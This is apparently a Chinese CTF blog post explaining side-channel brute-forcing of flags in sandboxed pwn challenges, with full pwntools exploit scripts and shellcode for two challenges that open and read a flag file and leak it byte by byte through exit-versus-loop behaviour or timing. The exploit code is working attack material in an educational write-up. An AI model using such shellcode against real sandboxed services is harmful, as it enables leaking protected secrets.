侧信道爆破

文章发布时间:

最后更新时间:

侧信道攻击(Side-Channel Attack,SCA)是一种利用物理实现的信息泄露来获取敏感信息的攻击方式。这种攻击不直接攻击加密算法本身,而是通过分析系统的物理实现(如硬件设备)在执行加密操作时的某些可观测的物理量(如时间、功耗、电磁泄漏等)来获取信息。

侧信道攻击的常见类型包括:

时序攻击(Timing Attack):通过测量计算或操作的时间来获取信息。例如,密码学操作中的加密或解密操作可能因为输入的不同而导致执行时间上的差异。
功耗分析攻击(Power Analysis Attack):通过分析设备的功耗变化来获取执行的操作信息,特别是在加密设备上。
电磁泄漏攻击(Electromagnetic Emanation Attack):通过捕捉设备发出的电磁辐射来获取信息。
声学攻击(Acoustic Attack):通过分析设备发出的声音来获取信息。
错误注入攻击(Fault Injection Attack):通过引入错误(如电压干扰、激光照射等)来破坏正常的执行流程,从而获取信息。

在pwn题中一般使用侧信道爆破flag
侧信道爆破适用于orw无w的情况,即程序只允许open和read。一般来说题目能够执行shellcode

[蓝帽杯2021 slient]
保护全开


只允许open和read

这个沙盒不知道为什么要sudo才能查到,顺便记录一下报错信息:


输入啥就执行啥,mmap在0x1000开了一段可读可写可执行的内存空间




这里通过比较缓冲区中flag的每一位,相同则进入循环。通过程序是否进入exit来判断flag该位正确与否
shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def exp(dis,char):
p.recvuntil(b"Welcome to silent execution-box.\n")
shellcode = asm('''
mov r12,0x67616c66 ;al:rax 寄存器的低 8 位
push r12 ;cl:rcx 寄存器的低 8 位
mov rdi,rsp ;dl:rdx 寄存器的低 8 位
xor esi,esi
xor edx,edx
mov al,2
syscall ;open('./flag')

mov rdi,rax
mov rsi,0x10700
mov dl,0x40
xor rax,rax
syscall ;read(0,0x10700,0x40)

mov dl, byte ptr [rsi+{}] ; 将缓冲区中的某个字节加载到寄存器 dl
mov cl, {} ; 将输入参数 char 加载到寄存器 cl
cmp cl, dl ; 比较寄存器 cl 和 dl 的值
jz loop ; 如果相等,跳转到 loop 标签
mov al, 60 ; 将系统调用号 60(exit)加载到寄存器 al
syscall ; 执行系统调用 exit

loop: ;循环
jmp loop
'''.format(dis,char))
p.send(shellcode)

我本地环境下的flag如下:

1
touch flag && echo flag{th1s_1S_a_T3st_f1ag} > flag

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(os='linux', arch='amd64', log_level='critical',endian="little")

def exp(index,char):
p.recvuntil(b"Welcome to silent execution-box.\n")
shellcode = asm('''
mov r12,0x67616c66
push r12
mov rdi,rsp
xor esi,esi
xor edx,edx
mov al,2
syscall

mov rdi,rax
mov rsi,0x10700
mov dl,0x40
xor rax,rax
syscall

mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl, dl
jz loop
mov al, 60
syscall

loop:
jmp loop
'''.format(index,char))
p.send(shellcode)

flag = ""
#possible_char = list("}{-_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
#possible_char.append('\x00')
for i in range(len(flag),35):
sleep(1)
print("flag : {}".format(flag))
for j in range(0x20,0x80):
p = process('./chall')
try:
exp(i,j)
p.recvline(timeout=1)
flag += chr(j)
p.send(b'\n')
print("{} pos : {} success".format(i,chr(j)))
p.close()
break
except:
p.close()

没插电编译时间长,下午给我电打没了还没爆出来,晚上插上电几分钟就出了

[xman2019 nooocall]
保护全开


沙盒ban掉了系统调用

程序也是输入啥就执行啥,flag已经被读入到内存,但是只给了0x10的大小



可以用同样的方式爆破(or已经执行了),但是长度限制,只能跳回shellcode自己身上

1
2
3
4
5
6
7
8
9
def exp (index,char):
shellcode = asm('''
mov rax,[rsp+0x10]
mov rax,[rax+0x18]
mov al,byte ptr[rax+{}]
cmp al,{}
jz $-0x2
'''.format(index,char))
p.sendlineafter(b'Your Shellcode >>', shellcode)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
import time

context(os='linux', arch='amd64', log_level='critical',endian="little")

#possible_char = list("}{-_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
#possible_char.append('\x00')
flag = ''
i = 0

def exp (index,char):
shellcode = asm('''
mov rax,[rsp+0x10]
mov rax,[rax+0x18]
mov al,byte ptr[rax+{}]
cmp al,{}
jz $-0x2
'''.format(index,char))
p.sendlineafter(b'Your Shellcode >>', shellcode)

while 1:
print("flag : {}".format(flag))
length = len(flag)
for j in range(0x20,0x80):
p = process('./xman_2019_nooocall')
#p = remote('node5.buuoj.cn', 29290)

exp(i,j)
start = time.time()
p.can_recv_raw(timeout=3)
end = time.time()
p.close()
#爆不出正确flag需要调这里,可能是网络原因导致的
if end - start > 3:
flag += chr(j)
print("{} pos : {} success".format(i,chr(j)))
i += 1
break

buu上远程的爆不穿,还得调,本地的倒是很快出来了)